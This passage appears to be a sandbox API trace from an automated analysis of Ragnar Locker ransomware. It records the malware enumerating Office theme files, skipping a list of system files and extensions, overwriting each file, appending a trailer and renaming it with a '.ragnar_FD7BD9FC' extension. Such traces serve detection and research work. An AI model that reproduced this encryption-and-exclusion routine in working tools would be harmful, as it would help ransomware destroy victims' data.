nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.836] GetProcessHeap () returned 0x580000 [0094.836] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.836] CloseHandle (hObject=0x98) returned 1 [0094.836] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx" [0094.836] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx.ragnar_FD7BD9FC" [0094.836] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.837] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262ddb00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x262ddb00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1540b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.thmx", cAlternateFileName="ORIGIN~1.THM")) returned 1 [0094.837] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.837] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Origin.thmx" | out: lpString1="Origin.thmx") returned="Origin.thmx" [0094.837] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx") returned=".thmx" [0094.837] lstrcmpiW (lpString1="Origin.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.837] lstrcmpiW (lpString1="Origin.thmx", lpString2="autorun.inf") returned 1 [0094.837] lstrcmpiW (lpString1="Origin.thmx", lpString2="boot.ini") returned 1 [0094.837] lstrcmpiW (lpString1="Origin.thmx", lpString2="bootfont.bin") returned 1 [0094.837] lstrcmpiW (lpString1="Origin.thmx", lpString2="bootsect.bak") returned 1 [0094.837] lstrcmpiW (lpString1="Origin.thmx", lpString2="bootmgr") returned 1 [0094.837] lstrcmpiW (lpString1="Origin.thmx", lpString2="bootmgr.efi") returned 1 [0094.837] lstrcmpiW (lpString1="Origin.thmx", lpString2="bootmgfw.efi") returned 1 [0094.837] lstrcmpiW (lpString1="Origin.thmx", lpString2="desktop.ini") returned 1 [0094.837] lstrcmpiW (lpString1="Origin.thmx", lpString2="iconcache.db") returned 1 [0094.837] lstrcmpiW (lpString1="Origin.thmx", lpString2="ntldr") returned 1 [0094.837] lstrcmpiW (lpString1="Origin.thmx", lpString2="ntuser.dat") returned 1 [0094.837] lstrcmpiW (lpString1="Origin.thmx", lpString2="ntuser.dat.log") returned 1 [0094.838] lstrcmpiW (lpString1="Origin.thmx", lpString2="ntuser.ini") returned 1 [0094.838] lstrcmpiW (lpString1="Origin.thmx", lpString2="thumbs.db") returned -1 [0094.838] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.838] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.838] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.838] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.838] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.838] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.838] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0094.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx")) returned 0x20 [0094.838] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.838] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=87051) returned 1 [0094.838] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x15402, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.838] GetProcessHeap () returned 0x580000 [0094.838] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.838] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.840] VirtualAlloc (lpAddress=0x0, dwSize=0x1540b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.840] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.840] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.840] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1540b, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0x1540b, lpOverlapped=0x0) returned 1 [0094.894] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.895] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1540b, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.895] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1540b, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0x1540b, lpOverlapped=0x0) returned 1 [0094.895] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1540b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.895] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.896] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x1540b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.896] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.896] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.896] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.896] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.896] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.896] GetProcessHeap () returned 0x580000 [0094.896] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.896] CloseHandle (hObject=0x98) returned 1 [0094.896] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx" [0094.897] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx.ragnar_FD7BD9FC" [0094.897] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.168] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29c16200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29c16200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x421e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.thmx", cAlternateFileName="PAPER~1.THM")) returned 1 [0095.168] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0095.168] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Paper.thmx" | out: lpString1="Paper.thmx") returned="Paper.thmx" [0095.168] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx") returned=".thmx" [0095.168] lstrcmpiW (lpString1="Paper.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.168] lstrcmpiW (lpString1="Paper.thmx", lpString2="autorun.inf") returned 1 [0095.168] lstrcmpiW (lpString1="Paper.thmx", lpString2="boot.ini") returned 1 [0095.168] lstrcmpiW (lpString1="Paper.thmx", lpString2="bootfont.bin") returned 1 [0095.168] lstrcmpiW (lpString1="Paper.thmx", lpString2="bootsect.bak") returned 1 [0095.168] lstrcmpiW (lpString1="Paper.thmx", lpString2="bootmgr") returned 1 [0095.168] lstrcmpiW (lpString1="Paper.thmx", lpString2="bootmgr.efi") returned 1 [0095.168] lstrcmpiW (lpString1="Paper.thmx", lpString2="bootmgfw.efi") returned 1 [0095.168] lstrcmpiW (lpString1="Paper.thmx", lpString2="desktop.ini") returned 1 [0095.168] lstrcmpiW (lpString1="Paper.thmx", lpString2="iconcache.db") returned 1 [0095.168] lstrcmpiW (lpString1="Paper.thmx", lpString2="ntldr") returned 1 [0095.168] lstrcmpiW (lpString1="Paper.thmx", lpString2="ntuser.dat") returned 1 [0095.168] lstrcmpiW (lpString1="Paper.thmx", lpString2="ntuser.dat.log") returned 1 [0095.168] lstrcmpiW (lpString1="Paper.thmx", lpString2="ntuser.ini") returned 1 [0095.168] lstrcmpiW (lpString1="Paper.thmx", lpString2="thumbs.db") returned -1 [0095.168] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0095.168] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0095.168] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0095.168] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0095.168] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0095.168] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0095.168] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0095.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx")) returned 0x20 [0095.168] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0095.169] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=270822) returned 1 [0095.169] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x421dd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.169] GetProcessHeap () returned 0x580000 [0095.169] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.169] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0095.173] VirtualAlloc (lpAddress=0x0, dwSize=0x421e6, flAllocationType=0x3000, flProtect=0x4) returned 0x480000 [0095.173] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.173] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0095.173] ReadFile (in: hFile=0x98, lpBuffer=0x480000, nNumberOfBytesToRead=0x421e6, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x480000*, lpNumberOfBytesRead=0x1eba0c*=0x421e6, lpOverlapped=0x0) returned 1 [0095.179] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0095.180] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x421e6, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.180] WriteFile (in: hFile=0x98, lpBuffer=0x480000*, nNumberOfBytesToWrite=0x421e6, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x480000*, lpNumberOfBytesWritten=0x1eba08*=0x421e6, lpOverlapped=0x0) returned 1 [0095.181] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x421e6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.181] VirtualFree (lpAddress=0x480000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.183] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x421e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.183] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.183] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0095.183] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0095.183] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0095.183] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.183] GetProcessHeap () returned 0x580000 [0095.183] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.183] CloseHandle (hObject=0x98) returned 1 [0095.183] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx" [0095.183] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx.ragnar_FD7BD9FC" [0095.183] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.184] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.thmx", cAlternateFileName="PERSPE~1.THM")) returned 1 [0095.185] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0095.185] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Perspective.thmx" | out: lpString1="Perspective.thmx") returned="Perspective.thmx" [0095.185] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx") returned=".thmx" [0095.185] lstrcmpiW (lpString1="Perspective.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.185] lstrcmpiW (lpString1="Perspective.thmx", lpString2="autorun.inf") returned 1 [0095.185] lstrcmpiW (lpString1="Perspective.thmx", lpString2="boot.ini") returned 1 [0095.185] lstrcmpiW (lpString1="Perspective.thmx", lpString2="bootfont.bin") returned 1 [0095.185] lstrcmpiW (lpString1="Perspective.thmx", lpString2="bootsect.bak") returned 1 [0095.185] lstrcmpiW (lpString1="Perspective.thmx", lpString2="bootmgr") returned 1 [0095.185] lstrcmpiW (lpString1="Perspective.thmx", lpString2="bootmgr.efi") returned 1 [0095.185] lstrcmpiW (lpString1="Perspective.thmx", lpString2="bootmgfw.efi") returned 1 [0095.185] lstrcmpiW (lpString1="Perspective.thmx", lpString2="desktop.ini") returned 1 [0095.185] lstrcmpiW (lpString1="Perspective.thmx", lpString2="iconcache.db") returned 1 [0095.185] lstrcmpiW (lpString1="Perspective.thmx", lpString2="ntldr") returned 1 [0095.185] lstrcmpiW (lpString1="Perspective.thmx", lpString2="ntuser.dat") returned 1 [0095.185] lstrcmpiW (lpString1="Perspective.thmx", lpString2="ntuser.dat.log") returned 1 [0095.185] lstrcmpiW (lpString1="Perspective.thmx", lpString2="ntuser.ini") returned 1 [0095.185] lstrcmpiW (lpString1="Perspective.thmx", lpString2="thumbs.db") returned -1 [0095.185] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0095.185] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0095.185] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0095.185] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0095.185] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0095.185] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0095.185] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0095.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx")) returned 0x20 [0095.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0095.186] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=53594) returned 1 [0095.186] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xd151, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.186] GetProcessHeap () returned 0x580000 [0095.186] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.186] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0095.187] VirtualAlloc (lpAddress=0x0, dwSize=0xd15a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.188] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.188] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0095.188] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd15a, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0xd15a, lpOverlapped=0x0) returned 1 [0095.189] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0095.190] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd15a, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.190] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd15a, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0xd15a, lpOverlapped=0x0) returned 1 [0095.190] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd15a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.190] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.190] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xd15a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.190] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.190] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0095.191] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0095.191] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0095.191] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.191] GetProcessHeap () returned 0x580000 [0095.191] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.191] CloseHandle (hObject=0x98) returned 1 [0095.191] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx" [0095.191] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx.ragnar_FD7BD9FC" [0095.191] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.192] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54abb600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54abb600, ftLastWriteTime.dwHighDateTime=0x1cbded9, 